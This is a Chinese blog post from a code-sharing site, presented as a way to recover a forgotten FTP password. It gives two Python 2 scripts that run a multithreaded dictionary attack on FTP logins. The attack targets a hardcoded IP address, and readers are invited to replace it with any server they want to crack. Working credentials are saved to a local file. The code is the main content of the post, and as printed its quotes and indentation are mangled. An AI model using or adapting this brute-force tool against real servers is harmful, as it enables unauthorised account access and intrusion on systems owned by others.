忘记ftp密码使用python ftplib库暴力破解密码的方法示例


Posted in Python onJanuary 22, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 
import time 
import threading 
class mythread(threading.Thread): 
def __init__(self,command): 
threading.Thread.__init__(self) 
self.command=command 
def run(self): 
kk=os.system(self.command) 
ushand=open(“user.txt”,”r”) 
pshand=open(“passwd.txt”,”r”) 
listuser=[] 
listpass=[] 
for us in open(“user.txt”,”r”): 
lineus=ushand.readline().strip(‘\n') 
listuser.append(lineus) 
for ps in open(“passwd.txt”,”r”): 
lineps=pshand.readline().strip(‘\n') 
listpass.append(lineps) 
for i in listuser: 
for j in listpass: 
command=”ftp.py %s %s” %(i,j) 
print command 
my_thread=mythread(command) 
my_thread.start() 
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 
import socket 
import sys 
ftp=ftplib.FTP('121.54.175.204′) 
try: 
user=sys.argv[1] 
passwd=sys.argv[2] 
ftp.login(user,passwd) 
hand=open(‘aa.txt','a+') 
hand.write(user+”:”+passwd+”\n”) 
except ftplib.error_perm: 
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
利用Python生成文件md5校验值函数的方法
Jan 10 Python
python中的随机函数random的用法示例
Jan 27 Python
pthon贪吃蛇游戏详细代码
Jan 27 Python
python itchat实现调用微信接口的第三方模块方法
Jun 11 Python
PyQt编程之如何在屏幕中央显示窗体的实例
Jun 18 Python
python中class的定义及使用教程
Sep 18 Python
python 下 CMake 安装配置 OPENCV 4.1.1的方法
Sep 30 Python
win10环境下配置vscode python开发环境的教程详解
Oct 16 Python
pytorch::Dataloader中的迭代器和生成器应用详解
Jan 03 Python
Django视图、传参和forms验证操作
Jul 15 Python
python绘图模块之利用turtle画图
Feb 12 Python
Python NumPy灰度图像的压缩原理讲解
Aug 04 Python
使用python的chardet库获得文件编码并修改编码
Jan 22 #Python
使用go和python递归删除.ds store文件的方法
Jan 22 #Python
python学习手册中的python多态示例代码
Jan 21 #Python
python pdb调试方法分享
Jan 21 #Python
python发送邮件接收邮件示例分享
Jan 21 #Python
python逐行读取文件内容的三种方法
Jan 20 #Python
c++生成dll使用python调用dll的方法
Jan 20 #Python
You might like
以文本方式上传二进制文件的PHP程序
2006/10/09 PHP
利用PHP将图片转换成base64编码的实现方法
2016/09/13 PHP
php显示页码分页类的封装
2017/06/08 PHP
PHP7内核CGI与FastCGI详解
2019/04/14 PHP
PHP使用PhpSpreadsheet操作Excel实例详解
2020/03/26 PHP
js 函数的副作用分析
2011/08/23 Javascript
JS添加删除一组文本框并对输入信息加以验证判断其正确性
2013/04/11 Javascript
JS中的数组的sort方法使用示例
2014/01/22 Javascript
JavaScript实现的使用键盘控制人物走动实例
2014/08/27 Javascript
js实现匹配时换色的输入提示特效代码
2015/08/17 Javascript
jquery结婚电子请柬特效源码分享
2015/08/21 Javascript
自定义刻度jQuery进度条及插件
2015/09/02 Javascript
学习JavaScript设计模式(继承)
2015/11/26 Javascript
微信小程序 开发工具快捷键整理
2016/10/31 Javascript
JavaScript基础——使用Canvas绘图
2016/11/02 Javascript
微信小程序 天气预报开发实例代码源码
2017/01/20 Javascript
详细分析单线程JS执行问题
2017/11/22 Javascript
JavaScript实现抖音罗盘时钟
2019/10/11 Javascript
微信小程序实现左侧滑动导航栏
2020/04/08 Javascript
微信小程序如何通过用户授权获取手机号(getPhoneNumber)
2020/01/21 Javascript
Python os模块中的isfile()和isdir()函数均返回false问题解决方法
2015/02/04 Python
Python常用小技巧总结
2015/06/01 Python
python实现JAVA源代码从ANSI到UTF-8的批量转换方法
2015/08/10 Python
Python 模拟登陆的两种实现方法
2017/08/10 Python
基于Python中求和函数sum的用法详解
2018/06/28 Python
python递归全排列实现方法
2018/08/18 Python
详解python中docx库的安装过程
2019/11/08 Python
Pycharm如何自动生成头文件注释
2020/11/14 Python
python基于openpyxl生成excel文件
2020/12/23 Python
python如何发送带有附件、正文为HTML的邮件
2021/02/27 Python
仿CSDN Blog返回页面顶部功能实现原理及代码
2013/06/30 HTML / CSS
车间主任岗位职责
2014/03/16 职场文书
《春晓》教学反思
2014/04/20 职场文书
电话客服工作职责
2014/07/27 职场文书
2016年公务员六五普法心得体会
2016/01/21 职场文书
大学生各类奖学金申请书
2019/06/24 职场文书